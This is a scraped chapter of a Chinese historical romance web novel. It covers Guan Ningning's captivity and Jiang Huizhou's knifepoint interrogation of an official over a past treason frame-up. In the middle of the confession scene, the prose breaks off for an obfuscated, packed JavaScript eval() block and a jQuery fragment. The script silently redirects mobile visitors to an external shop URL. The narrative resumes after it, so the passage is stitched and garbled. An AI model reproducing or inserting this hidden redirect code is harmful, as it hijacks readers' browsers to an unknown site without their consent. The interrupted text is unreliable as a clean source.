文趣网 > 其他小说 > 春色折棠 > 18. 玩物
    凌渐台愣住一瞬,忽然笑了,比起往常一味讨好他的关宁宁,现在的关宁宁似乎让他更有兴致,让人忍不住逗弄、凌.虐一番。

    他双目染着阴鸷,一步一步逼过来,左手飞快攥住她的手腕,慢慢用力。

    浓密的长睫覆下,那双桃花眼变得细长,像一道冷冽的剑锋,随时要将她劈开。

    他的力道越来越大,骨头都快要断了,她疼得冒出了一层冷汗。

    他在逼她求饶。

    她咬唇,佯装着镇定。

    他欣赏着她的痛苦,愈加兴奋。

    烛火闪动,映在她的手上,余光瞥到她手掌心一道划伤,伤口已然结了痂。

    见此,他愣了一会儿,神情松动,竟慢慢平复下来。

    下一刻,手松开。

    手腕解脱,她急忙后撤一步。

    目光下移,手腕不受控制的颤抖着,上面白皙的肌肤上一片通红。

    他静静注视着她,唇瓣轻轻勾起一个弧度,“关望臣已经去往柳州城。”

    这些时日,他派人一直关注着关宁宁的动向,自是知晓他们要去柳州之事。

    在魇山再遇关宁宁,得她相救,她依旧那么善良又好骗,不知不觉间又想起那些温存时刻,他竟觉食髓知味,不如就留她在身边,而她却不知好歹反抗他,不过,这样更有意思。今日一回府他便派周墨将关望臣送走了。

    周墨回来告诉他,那半大的孩子恶狠狠地说学成归来要报复他,他倒是好奇他能学到什么本事。

    关宁宁猛地抬头,彻底急了。

    “你凭什么......”

    “木已成舟,你什么都改变不了。”他径直打断她的话。

    她恍如瞬间坠入冰窟,凌渐台把她的憧憬都打碎了。脑子嗡嗡作响,她更讨厌他了,她抬手,下意识推他。

    他微微蹙眉,出手将她双手反剪,‘哐’一声,按在墙上,“若是再敢以下犯上,我不会对你留情。”

    凌渐台走后,她满腹的怨气,他凭什么!让她滚她就得滚,让她做妾她就得应,难道她是他的玩物吗!呸!

    她要去找阿弟,必须得想办法逃走。

    *

    夜色渐渐寒凉,阴暗的小巷子里,一少年在巷头探出一双眼睛,嘴里啃着馒头,视线却盯着酒馆的方向,片刻不离。

    一阵寒风袭来,吹得人瑟瑟发抖,姜回舟不禁拢了拢身体。

    他在世子府一无所获,索性脱了女装,换回男装,目标转向张从。

    自从张从那日报出他的名号后,他就存了跟踪他的心思,张从的父亲张陶曾经是镇北大将军姜赫麾下的校尉,也许张陶知晓当年之事,为了确认真正的仇人,任何蛛丝马迹他都不想放过。

    他跟踪张从好些日子,亲眼看着张从被凌渐台下了狱,好在他已经通过张从掌握了张陶的行踪。

    张陶如今是兵部侍郎,蒙太后庇佑,但据他所观察,张陶此人除了公务,一直深居简出,在上下值路上,他又全程坐在马车里,车外一群人护送。

    跟了这么多天,他根本没机会出手。这日,终于等来时机。

    只见张陶屏退身边的随从,一人直入酒馆,喝得酩酊大醉。深夜,从酒馆跌跌撞撞出来。

    街道漆黑,又安静,一道黑影飞身而至,快得看不清踪影,转瞬间,张陶被扯入巷子里。

    姜回舟蒙着面,一把长刀架在他脖子上,声线刻意压低了,沉着有力,“我说,你答。若有错漏,立刻见血。”

    张陶瞬间清醒了。

    “镇北大将军姜赫,可认识?”

    张陶满脸的慌张,眼珠转动了下,正思考如何应对。

    刀刃又近一步,一道银光闪进他眼里。

    少年一声怒吼,“说!”

    他浑身一颤,只叹自己倒霉,道:“认识。”

    “你跟他什么关系?”

    “曾是他的下属。”

    “是何军职?”

    ”校尉。“

    少年的问话紧追猛打,他但凡有一丁点犹豫,剑锋就刺向他的皮肤。

    他向来惜命的一个人,可经不起吓。

    “镇北将军之死可与你有关系?”

    他下意识反应,“有。”

    少年眼睫一震。

    张陶意识到自己说了什么,立刻改口,“没有没有。”他语气慌慌张张,头都快摇成一个拨浪鼓了。

    “姜赫勾结外敌,意图谋反。是他自己自寻死路。”

    姜回舟手上青筋暴起,“撒谎!”

    将才他下意识的话已然暴露,竟还想诓骗他,给他爹案上莫须有的罪名。

    “既然不说,那就去死!”少年抡起长刀,朝他砍下去。

    张陶被吓得腿都哆嗦了,抱着头往里缩,声音直打颤,“说说说。”

    “我说——”

    “饶命啊。”

    少年停下。

    张陶捋了捋自己受惊的头发,想到了一个问题,“你究竟是谁?”

    这少年看起来年岁不大,为什么会对十年前的事穷追不舍。

    姜回舟锋利的眼神扫过去,“我说我问,你答。”

    “好好好。”张陶属实是怕了,但心里仍暗暗咬牙,他一个兵部侍郎,竟被一个少年吓成这样。

    虽不服,但在刀下,他依旧老老实实的,“我告诉你真相,也算帮了你,你留我一命。”

    他怎么这么啰嗦。

    少年早就等不及,瞪他一眼,“再说废话,先断你手臂。”

    “当年罪魁祸首是如今的威远侯宋青风。”张陶语速很快,生怕他的刀落下来。

    话声落下,姜回舟僵在原地,眼里充满了震惊,复杂。

    张陶继续说,这下不藏着掖着了,反而滔滔不绝起来,“姜宋两家是世交,姜赫和宋青风从小一齐在军中历练,姜赫被提拔为大将军,宋青风是他的副将,但姜将军此人恃才傲物,和宋青风常有口角之争。”

    “他批宋青风目光短浅,急功近利,做事愚蠢。经常不分场合,让宋青风尊严扫地。是以宋青风嫉恨上大将军。”

    “更没想到他竟然会诬陷大将军谋反,此人心之狠毒啊。宋青风在背后收买人证,伪造物证,直接将大将军钉死在耻辱柱上。”

    “姜家倒台后,镇北军的兵权一半被先帝收走,一半落在宣凌王手里。而宋青风这个副将一分没有。”

    “宋青风恨极,他急于立功,想尽各种办法。就在一年后,北戎奸细潜入皇宫,趁夜进攻,竟把禁军打得落花流水,险些攻进先帝寝宫,幸好宋青风及时赶到,剿灭贼寇。但他的女儿却因此遭难。”

    “因救驾有功,先帝封他为威远侯,他风光得意。如今连皇帝都得给他三分薄面。”

    少年眉头皱得越来越深,在他记忆里,宋伯伯天生乐观,为人直爽,竟没想是如此阴险之人。

    不过,他眼尾一斜,陡然变得凌厉,盯着张陶。张陶怎么会知道的如此清楚,他在里面又是什么角色?

    少年问道:“你是否参与其中?”

    张陶猛摇头,“绝对没有。”

    “那你又如何得知内幕?”少年眼睛压低,十分怀疑地看着他。

    张陶傻眼,居然忘了这茬。主上只教他如果有人逼问他镇北大将军谋反一案,他便如此说,却没提醒他话中漏洞。

    真是坑爹。

    他飞快思考着说辞,紧张地咽了咽口水。

    见他犹豫,姜回舟又怒道:“说不说!”

    被他的声音吓到,张陶的腿一下就软了,跪了下去,一脸被逼无奈的样子,“我只是一个小小的校尉,我实在没有办法。”

    “都是被逼的......”他抹了一把泪,扯着长音。“那宋青风以我家人性命威胁,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712990|208239||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    逼我做人证。”

    “可陛下登基之后,却总是介意我从前曾在大将军麾下任职一事,处处看我不顺眼。为了仕途,我迫不得已才搭上了太后。”他说得自己很委屈。

    “够了!”姜回舟一点都不关心他的私事。

    看他说的情真意切,他便暂且信了他的话,但他作了伪证,无论如何也是造成他父亲死亡的推手。

    都该死。

    他举起刀,再一次搭在他的脖颈,“你说的可有假话?”

    “句句属实。”他说得飞快,眼睛瞥瞥刀刃,露出惊恐的表情,“都这样了,我可不敢拿自己性命开玩笑。”

    “好,我信你。”少年盯着他,黑漆漆的瞳仁里毫无情绪。下一刻,刀刃抹向他的脖子。

    忽然一柄暗器飞过来,铿锵一声,把他的刀震开。力道之大,他足足被震退了数步。

    再一抬眼,一鬼面具赫然出现在眼前,阴森可怖。他最讨厌被打断,冲天的怒气爆发,“都去死。”

    数个回合下来,少年吃力的喘息。

    而对方,就静静站在那里,一身的从容不迫。

    少年气急,拎着大刀上去乱砍一通,但仍未伤到他分毫。

    豆大的汗珠从额头滚落,他渐渐冷静下来。打不过,他还跑不过吗,他有世上最快的轻功。

    张陶迟早会是他的刀下鬼,可不能逞一时之快,把自己搭进去。少年转身,步履飞快,转瞬间,就消失了。

    张陶踉踉跄跄,一边跑一边大喊,“赶紧追呀!杀了他。”他从来没受过这种气。

    鬼面凌幕看都没看他一眼,“我只身前来保护大人的安危,不知他还有没有同伙。”

    “如果我去追,他的同伙出来把大人杀掉,我怎么交差。”他淡淡道,声线带着一股天生的冰冷,好像一靠近就会被冻住。

    张陶瞥瞥嘴,噤声。但不服气,心里不停咒骂着。

    “你都说了什么?”凌幕问道。

    “我听从主上吩咐。”张陶补充道:“绝对没有胡说。”

    他翻了个白眼,心道,他算什么东西,不过是主上的一条狗,敢这么对他冷言冷语。

    但又想起今日主上对他的厌烦。

    张从已经被关进监狱数日,他去求主上放了犬子,然而主上却把他臭骂一顿。就连太后也不向着他了。一想到这里,他就忍不住要哭出来。真是世态炎凉。

    而且要不是因今日伤心,他怎会独自一人饮酒,被那少年钻了空子抓住。

    “他要杀你。”凌墓冷冰冰的一句。

    张陶瞬间激灵一下。

    这时,凌幕转头,可怖的鬼面直冲着张陶,提醒一声,“最近别出门。“

    这面具看起来诡异极了,突然怼到张陶脸上,把他吓一跳。张陶抿了抿干涩的唇,双颊挤出一簇笑,“我当然知道。”

    张陶走后,鬼面陵墓盯着少年远去的方向,眉头轻蹙。

    这奉京城还真是热闹,他近日被主上召回京城,加入刺客组织,破晓,对于主上的任务,他只听令,不问缘由。

    前些日他接到刺杀宣凌王父子的任务,他先从凌渐台开始,派姜灵智潜入世子府获取凌渐台信任,让姜灵智近身伤他,他再出手击杀。

    然而却失败了,第二日再次围剿,可宣凌王府的暗影卫已至,暗影卫乃是精锐中的精锐,他带的人手自比不得暗影卫,不消片刻,胜负便已定,他自然也没有露面的必要了,只好无功而返,这凌世子这么难杀,那宣凌王想必更为棘手。

    主上又派他护卫张陶,他虽不知主上为何要护着张陶一个小小的兵部侍郎,但今日听到那少年质问,这张陶似是与十年前镇北大将军谋反一案脱不了干系,而主上似乎与这一案也有着若有若无的联系。

    这少年想杀张陶,必不会善罢甘休,既然主上要他护卫张陶周全,他便做局引少年出来,杀之。